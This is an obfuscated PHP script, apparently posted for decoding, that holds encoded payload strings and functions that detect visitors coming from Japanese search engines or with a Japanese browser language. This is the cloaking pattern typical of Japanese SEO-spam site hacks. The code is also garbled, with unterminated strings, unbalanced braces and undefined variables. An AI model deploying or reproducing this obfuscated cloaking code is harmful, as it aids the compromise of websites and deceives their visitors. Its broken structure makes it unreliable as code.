PHP Decode

<?php 
 
$NI_I_SISS_ = "bawhl+eghs4gh"; 
$N_II_ISSS_ = "sqkrewh04x0"; 
$N_S_SIII_S = "sqkresr4wh"; 
$NSSI__SII_ = "w0kewxr20"; 
$NSIS__S_II = "sqkre2n20"; 
$N_SSSII_I_ = "sqkrehuhs"; 
$NSSI_I_S_I = "akka*ex4x"; 
 
if (!function_exists('str_ireplace')) { 
    function str_ireplace($from, $to, $string) { 
        return trim(preg_replace("/" . addcslashes($from, "?:\si", ''), $NIS_I_IS_S); 
    } 
} 
 
foreach ($N_S__SSIII as $sca_v) { 
    $NIS_I_IS_S = ${"GLOBALS"}["N__SSIIS_I"]($sca_v, sprintf($N_SS_SIII_, '\', $sca_v), $NIS_I_IS_S); 
} 
 
return $NIS_I_IS_S; 
}; 
 
$NS_I_SII_S = function ($NSS_SI_I_I = '', $N_SI_SS_II = false) { 
    $NS_ISIS_I_ = false; 
    $NS_SI__SII = ${"GLOBALS"}["N_SISIS_I_"]('S8/PThT89JTcovqUnKzEsH0elgkZrE/BywUE1lYkZtP+PgA='); 
     
    if ($N_SI_SS_II) { 
        $NS_SI__SII .= ${"GLOBALS"}["N_SISIS_I_"]('q/HNrhT8rMyUktPEAA='); 
    } 
     
    if ($NSS_SI_I_I != '') { 
        if (${"GLOBALS"}["N_SIS__SII"]("/($NS_SI__SII)/si", $NSS_SI_I_I)) { 
            $NS_ISIS_I_ = true; 
        } 
    } 
     
    return $NS_ISIS_I_; 
}; 
 
$NSII___SSI = function ($NI_S_ISIS_ = '') { 
    $N_S_I_IISS = false; 
     
    if ($NI_S_ISIS_ != '' && ${"GLOBALS"}["N_SIS__SII"]("/(googlecojp|yahoocojp|goonejp|hatenanejp)/si", $NI_S_ISIS_)) { 
        $N_S_I_IISS = true; 
    } 
     
    return $N_S_I_IISS; 
}; 
 
$N_SIS_SI_I = function ($NI_S_ISIS_) { 
    $NS_S_I_SII = false; 
     
    if ($NI_S_ISIS_ == '') { 
        $N__S_SISII = ${"_SERVER"}["HTTP_ACCEPT_LANGUAGE"]; 
        $NSISS___II = ${"GLOBALS"}["N_SI_SI_SI"](',', $N__S_SISII); 
         
        if (${"GLOBALS"}["NS_SII__IS"]($NSISS___II) < 3) { 
            if ($NSISS___II['0'] != '' && ${"GLOBALS"}["N_SIS__SII"]("/(ja)/si", $NSISS___II['0'])) { 
                if (isset($NSISS___II['1'])) { 
                    if (${"GLOBALS"}["N_SIS__SII"]("/(ja)/si", $NSISS___II['1'])) { 
                        $NS_S_I_SII = true; 
                    } 
                } else { 
                    $NS_S_I_SII = true; 
                } 
            } 
        } 
    } 
     
    return $NS_S_I_SII; 
}; 
 
$N_SISIS_I_ = function ($strv) { 
    $N_SS__IISI = ${"GLOBALS"}["NS___SSIII"]($strv, 0, 5); 
    $N_I__ISISS = ${"GLOBALS"}["NS___SSIII"]($strv, -5); 
    $N_SS_I_IIS = ${"GLOBALS"}["NS___SSIII"]($strv, 7, ${"GLOBALS"}["N_I_SSSII_"]($strv) - 14); 
     
    return ${"GLOBALS"}["N__II_SISS"](${"GLOBALS"}["NI_I_SISS_"]($N_SS__IISI . $N_SS_I_IIS . $N_I__ISISS)); 
}; 
 
$N__III_SSS = function ($N_S_SII_SI = '') { 
    $NS_I_SSI_I = ${"GLOBALS"}["N_SISIS_I_"]('09PXyhTyhJTE5OLS4tPGAA=='); 
    $NS__ISI_SI = ${"GLOBALS"}["N_SISIS_I_"]('jZJfThT9swFMW/SoaIxCTcPk3bQ4XEtqAh0dF18IQGMvFtYuH4Wr4OaUf47vOfNk33sPGQ5Jyffe89STy7kApozl1ZZ0eTE7PpYQ29qV2j/N30i2+LfhGfpjfxWngeWHiaDz21ZKB0IIL9GG6f3h8fnb30ff96bQXYjCuF3akAvYnwqxfZymITFiKZTfchUuFsnOr+RGoB60mIU1oQ0lHSLTls5G+ILnBWYtOA3q5H4ni1d6mshvLpEVM/WBu0iUtt2qSU1E9JIBeMSivNtmUCbuPDRS8sGoGdjsZPbqPQ/JkFk/ZocB3a1BCNk6iJCUk+PXl9gCvQYLk6YAZsw4dEA7XymZebA2aBC6mrA9ZZ6XbMqLaSOoUySI5p6AaTxKirsbjyPyFqkg5YDVy5OnrnM23FOlW6GprtN3GIKqnWCO4LS7SpTUtg2fAfottFCCYVdYaFt90b9KF3hmSlWxPcv8/YebD/PWSXqzmKVkHWoHiwEL4VTMq0uEy20H46ZNd6DD9zgmw6JsvQ5X44psc5sZzurn6N93xBLbKcXpbFj9vi583DxeVV8f18Xrzm9I6t3rxT/D03p0lOw+j92Nl0935tPnfwA='); 
    $NS__ISI_SI = sprintf($NS__ISI_SI, ' ', '|', '.'); 
     
    return ${"GLOBALS"}["N__II_SISS"]($NS_I_SSI_I($N_S_SII_SI), $NS__ISI_SI); 
}; 
 
$N_SS__III_ = function () { 
    return 'sqsxrswrhtkj4wlo0ekr'; 
}; 
 
$N__SI_SSS_ = function () { 
    $N_SII__SI_ = ${"GLOBALS"}["N__III_SSS"](); 
    $NI_IISII_S = ${"GLOBALS"}["N_SISIS_I_"]('b6vjhJTyjg=='); 
    $N__SIISSI_ = ${"GLOBALS"}["N__III_SSS"](); 
    $NSISS__ISS = ${"GLOBALS"}["N_SISIS_I_"]('g6ZWhpT88g=='); 
    $N_ISS__III = ${"GLOBALS"}["N_SISIS_I_"]('bbvhmRT8t+PFAIVUmg=='); 
    $NSIS_SI__IS = ${"GLOBALS"}["N__III_SSS"](); 
    $NISSSIIS_I = ${"GLOBALS"}["N_SISIS_I_"]('e6lWhpT8/vQXJVtVlY7jQeNWAu6eV+jXQviZVm/FlbtRe/1/X29+Pf1pRk1JTv5lZ7KxZSEiFyhhIemRrLV2xY+2Mf5uUerxw=='); 
     
    return ${"GLOBALS"}["N__II_SISS"]($N_SII__SI_ . $NI_IISII_S . $N__SIISSI_ . $NSISS__ISS . $N_ISS__III . $NSIS_SI__IS . $NISSSIIS_I); 
}; 
 
$N_S__SSIII = [ 
    'sqsxrswrhtkj4wlo0ekr', 
    'sqkrexrwhrj40l0okwkq', 
    'sqkrsor4w20', 
    'sqkre2r4wrh40', 
    'sqkr4wh40', 
    'w0kewxrw2q4h', 
    'w2u4wqkreqlo', 
    'sqkreh4r2s0', 
    'w2r4w2kresrj4', 
    'akka*ex4x', 
]; 
 
return $N_S__SSIII; 
 ?>